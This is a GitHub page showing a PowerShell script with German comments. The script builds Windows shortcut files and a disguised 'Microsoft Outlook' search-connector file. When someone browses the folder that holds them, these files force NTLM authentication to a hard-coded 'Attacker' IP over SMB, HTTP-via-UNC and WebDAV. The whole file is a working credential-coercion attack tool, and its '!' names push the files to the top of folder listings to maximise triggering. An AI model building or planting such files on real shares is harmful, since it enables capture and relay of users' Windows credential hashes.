-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlnk-creator.ps1
More file actions
68 lines (60 loc) · 2.33 KB
/
lnk-creator.ps1
File metadata and controls
68 lines (60 loc) · 2.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# IP = Attacker
$ip = "172.18.5.116"
$fileName = "threat.png"
$lnkFolderName = "LNKs"
$desktopPath = [Environment]::GetFolderPath("Desktop")
$lnkFolderPath = Join-Path -Path $desktopPath -ChildPath $lnkFolderName
# Sicherstellen, dass der Zielordner existiert
if (-not (Test-Path -Path $lnkFolderPath)) {
New-Item -ItemType Directory -Path $lnkFolderPath -Force | Out-Null
}
# Gemeinsame Link-Attribute
$linkIcon = "$env:windir\system32\shell32.dll, 3"
$linkWindowStyle = 1
$linkDescriptionBase = "Browsing this dir will trigger authentication"
# COM-Objekt für Link-Erstellung
$objShell = New-Object -ComObject WScript.Shell
# Definition der spezifischen Links
$linkDefinitions = @(
@{
Name = "!SMB-Auth.lnk" # "!" für maximale Priorisierung in der Sortierung
TargetPath = "\\$ip\$fileName"
HotKey = "Ctrl+Alt+S"
Description = "$linkDescriptionBase (SMB)"
},
@{
Name = "!HTTP-Auth.lnk"
TargetPath = "\\$ip@80\$fileName"
HotKey = "Ctrl+Alt+H"
Description = "$linkDescriptionBase (HTTP via UNC)"
}
)
# Erstellung der Links
foreach ($link in $linkDefinitions) {
$lnkPath = Join-Path -Path $lnkFolderPath -ChildPath $link.Name
$lnk = $objShell.CreateShortcut($lnkPath)
$lnk.TargetPath = $link.TargetPath
$lnk.WindowStyle = $linkWindowStyle
$lnk.IconLocation = $linkIcon
$lnk.Description = $link.Description
$lnk.HotKey = $link.HotKey
$lnk.Save()
}
# Erstellung der WebDAV Search Connector Datei (.searchConnector-ms)
$searchConnectorContent = @'
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
'@
$searchConnectorPath = Join-Path -Path $lnkFolderPath -ChildPath "!WebDAV.searchConnector-ms"
$searchConnectorContent | Out-File -Encoding UTF8 -FilePath $searchConnectorPath -Force
Write-Output "Links und Search Connector wurden erfolgreich erstellt im Pfad: $lnkFolderPath"